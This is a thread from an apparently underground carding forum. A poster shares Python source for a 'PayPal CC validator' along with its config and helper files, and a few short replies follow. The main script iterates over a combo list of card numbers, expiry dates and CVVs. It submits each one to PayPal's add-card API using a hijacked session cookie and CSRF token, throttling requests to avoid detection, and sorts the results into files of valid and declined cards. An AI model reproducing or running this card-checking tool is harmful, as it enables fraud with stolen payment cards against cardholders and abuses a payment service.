Damaged - Embrace the Infinite

Step into the world of endless opportunities and unlock the gateway to virtual transactions.

  • Domain Update: Our Forum has moved! Please visit us at Damaged.gg for the latest updates.

Paypal CC Validator Python3

Sn4re

Member

0

0%

Status

Offline

Posts

11

Likes

0

Rep

0

Bits

0

3

Years of Service

Like For More Feelssadman
If your not good with Python Leave The Post

[Image: hackerman.gif]
Enjoy Man UHQ Post
[Image: smart.gif]


NEW THREAD :https://Damaged.gg/Thread-Credit-Card-Ch...ource-Code


[HIDE] # Create File Main.py

import requests, json, time, colorama, os, assets, warnings
warnings.filterwarnings("ignore")

os.system("cls")
assets.utils.set_window_size(79, 31)
print(colorama.Fore.CYAN,'''\r


''')

with open('config.json', 'r+') as f:
data = json.loads(f.read())

print(colorama.Fore.GREEN,'''[OPTIONS]
1] COMBO FORMAT IS ( CCNUMBER|EXPRY_MONTH|EXPRY_YEAR|CVV ) ( NASMOGEN FORMAT )
2] COMBO FORMAT IS ( CCNUMBER [REQUIRES AGED ACCOUNT PAYPAL] )''')
option_selected = assets.utils.input("[OPTION] :", "int")

if (option_selected != 1) != True:
if (option_selected != 2) != True:
print(colorama.Fore.RED,'',end="")
input('[ERROR] Invalid Option Exiting [ENTER TO EXIT] :')
exit(0)


if data.get('paypal_cookie') != None:
if len(data.get('paypal_cookie')) < 10:
print(colorama.Fore.RED,'PaypalCookie Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'PaypalCookie Invalid Or Missing')
exit(0)
if data.get('csrf_token') != None:
if len(data.get('csrf_token')) < 3:
print(colorama.Fore.RED,'CsrfToken Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'CsrfToken Invalid Or Missing')
exit(0)
if data.get('billing_address_id') != None:
if len(data.get('billing_address_id')) < 3:
print(colorama.Fore.RED,'BillingAddressId Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'BillingAddressId Invalid Or Missing')
exit(0)
if data.get('productClass') != None:
if len(data.get('productClass')) < 3:
print(colorama.Fore.RED,'productClass Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'productClass Invalid Or Missing')
exit(0)
if data.get('brand') != None:
if len(data.get('brand')) < 3:
print(colorama.Fore.RED,'brand Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'brand Invalid Or Missing')
exit(0)
if option_selected == 2:
if data.get('expDate') != None:
if len(data.get('expDate')) < 3:
print(colorama.Fore.RED,'expDate Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'expDate Invalid Or Missing')
exit(0)
if data.get('verificationCode') != None:
if len(data.get('verificationCode')) < 3:
print(colorama.Fore.RED,'verificationCode Invalid Or Missing')
exit(0)
else:
print(colorama.Fore.RED,'verificationCode Invalid Or Missing')
exit(0)

if option_selected == 2:
print(colorama.Fore.CYAN,'''
LOADED CONFIG:
[CARD TYPES]: {}
[CARD BRAND]: {}
[CARD EXPRY]: {}
[CARD CVV]: {}
'''.format(data.get('productClass'), data.get('brand'), data.get('expDate'), data.get('verificationCode')))
else:
print(colorama.Fore.CYAN,'''
LOADED CONFIG:
[CARD TYPES]: {}
[CARD BRAND]: {}
'''.format(data.get('productClass'), data.get('brand')))

headers = {
"accept": "application/json",
"accept-encoding": "gzip, deflate",
"accept-language": "en-GB,en-US;q=0.9,en;q=0.8,da;q=0.7",
"cache-control": "no-cache",
"content-length": "236",
"content-type": "application/json",
"cookie": "{}".format(data.get('paypal_cookie')),
"origin": "https://www.paypal.com",
"pragma": "no-cache",
"referer": "https://www.paypal.com/myaccount/money/cards/new/manual",
"sec-ch-ua": '"Chromium";v="104", "Not A;Brand";v="99", "Google Chrome";v="104"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "Windows",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
"x-requested-with": "XMLHttpRequest"
}

LINES = []

with open('combo.txt', 'r+', encoding='utf-8') as f:
for line in f:
line = line.strip()
if len(line) > 5:
LINES.append(line)


print(colorama.Fore.GREEN,'',end="")

try:
data = {"isValid":True,"isFlow":True,"productClass":"{}".format(data.get('productClass')),"brand":"{}".format(data.get('brand')),"cardNumber":"0000000000000000","expDate":"{}".format(data.get('expDate')),"verificationCode":"{}".format(data.get('verificationCode')),"billingAddressId":"{}".format(data.get('billing_address_id')),"resubmit":False,"_csrf":"{}".format(data.get('csrf_token'))}
response = requests.post(url="https://www.paypal.com/myaccount/money/api/cards/", data=json.dumps(data), headers=headers, verify=False, timeout=30)
response_json = response.json()
except:
print(colorama.Fore.RED,'',end="")
input('[ERROR] | CONFIG IS OUTDATED PLEASE UPDATE THE INFORMATION [ENTER TO EXIT]')
exit(0)

input('[READY] [ENTER TO START] :')

os.system("cls")
assets.utils.set_window_size(79, 31)
print(colorama.Fore.CYAN,'''\r


''')
for line in LINES:
line = line.strip()
try:
if option_selected == 2:
data = {
"isValid":True,
"isFlow":True,
"productClass":"{}".format(data.get('productClass')),
"brand":"{}".format(data.get('brand')),
"cardNumber":"{}".format(line),
"expDate":"{}".format(data.get('expDate')),
"verificationCode":"{}".format(data.get('verificationCode')),
"billingAddressId":"{}".format(data.get('billing_address_id')),
"resubmit":False,"_csrf":"{}".format(data.get('csrf_token'))
}
else:
if len(line.split('|')) == 4:
cc_num, expry_month, expry_year, cvv = line.split('|')
data = {
"isValid":True,
"isFlow":True,
"productClass":"{}".format(data.get('productClass')),
"brand":"{}".format(data.get('brand')),
"cardNumber":"{}".format(cc_num),
"expDate":"{}".format('{}/{}'.format(expry_month, '{}{}'.format(expry_year[2], expry_year[3]))),
"verificationCode":"{}".format(cvv),
"billingAddressId":"{}".format(data.get('billing_address_id')),
"resubmit":False,"_csrf":"{}".format(data.get('csrf_token'))
}
else:
continue
response = requests.post(url="https://www.paypal.com/myaccount/money/api/cards/", data=json.dumps(data), headers=headers, verify=False, timeout=30)
response_json = response.json()
if response_json['error'] != None:
if response_json['error']['message'] == "Invalid security code. Please check the information and try again.":
print(colorama.Fore.GREEN,'Valid | {}'.format(line))
with open('results.txt', 'a+') as f:
f.write('{}\n'.format(line))
time.sleep(60)
elif response_json['error']['message'] == "Your card was declined by the issuing bank. Please try a different card or contact your card issuer with questions.":
print(colorama.Fore.RED,'Declined | {}'.format(line))
with open('declined.txt', 'a+') as f:
f.write('{}\n'.format(line))
time.sleep(30)
continue
else:
print(colorama.Fore.RED,'Failed | {}'.format(line))
with open('failed.txt', 'a+') as f:
f.write('{}\n'.format(line))
time.sleep(30)
continue
else:
print(colorama.Fore.GREEN,'Valid | {}'.format(line))
with open('results.txt', 'a+') as f:
f.write('{}\n'.format(line))
time.sleep(60)
except Exception as e:
with open('errorlog.txt', 'a+') as f:
f.write('{}\n'.format(line))
print(colorama.Fore.RED,'ERROR | {}'.format(str(e)))
time.sleep(30)
open('combo.txt', 'w+').close()
print(colorama.Fore.GREEN,'',end="")
input('[DONE] [ENTER TO EXIT] :')
[/HIDE]



[HIDE]
Make A File Called config.json
{
"paypal_cookie": "",
"csrf_token": "",
"billing_address_id": "",
"productClass": "",
"brand": "",
"expDate": "",
"verificationCode": ""
}
[/HIDE]



[HIDE] # make a file called assets.py

import os, datetime, string, random, ctypes
from tkinter.messagebox import NO

class utils:

def center(var: str, space: int = None): # From Pycenter
if not space:
space = (os.get_terminal_size().columns -
len(var.splitlines()[int(len(var.splitlines())/2)])) / 2

return "\n".join((' ' * int(space)) + var for var in var.splitlines())

def isempty(list_t:list):
count = 0
for i in list_t:
if len(i.strip()) == 0 and i.isspace():
count += 1
return count == len(list_t)

def faded(data:str):
faded = ''
red = 40
for line in data.splitlines():
faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")
if not red == 255:
red += 15
if red > 255:
red = 255
return faded

def input(prompt, type):
while True:
try:
if type == "int":
result = int(input(prompt))
return result
elif type == "string":
result = input(prompt)
return result
elif type == "bool":
result = input(prompt)
if result.lower() == "true":
return True
else:
return False
elif type == "question":
result = input(prompt).lower()
if result == "yes" or result == "y":
return True
else:
return False
else:
result = input(prompt)
return result
except:
continue

def Mbox(title, text, style):
return ctypes.windll.user32.MessageBoxW(0, text, title, style)

def cls():
os.system('cls') # on windows

def random_string(length):
chars=string.ascii_uppercase + string.digits + string.ascii_lowercase
return ''.join(random.choice(chars) for _ in range(length))

def set_window_size(width, height):
os.system(f'mode con: cols={width} lines={height}')
[/HIDE]


(04 September, 2023 - 08:11 PM)similitude Wrote: Show More
yo, rewrite this into the "code" format, right there there's no tabulations, code is almost unreadable and impossible to run this way. have a nice day!

The code isnt copy paste ready but I can upload it as a zip with all files included its because I paste into Damaged.gg it messed up the format

This is a bump
 

xxzzrr

Premium member
Premium

0

0%

Status

Offline

Posts

180

Likes

15

Rep

0

Bits

0

2

Years of Service

thank you mate
 

words

Member

0

0%

Status

Offline

Posts

33

Likes

0

Rep

-3

Bits

0

2

Years of Service

yo, rewrite this into the "code" format, right there there's no tabulations, code is almost unreadable and impossible to run this way. have a nice day!
I do not sell anything. I do not have a public Discord / Telegram. I will never ask anyone for money / refuse any deal via middleman. I will never deny to confirm my identity via PM before any deal. Stay safe, I have impersonators.
(-.-)Zzz...

https://youtu.be/EDVrTYW2l84
 

hayden1533

Royal
Royal Elite member Premium

0

0%

Status

Offline

Posts

26

Likes

0

Rep

0

Bits

0

2

Years of Service

[font]thanks for this bro[/font]
 

48,655

38,233

238,383

Top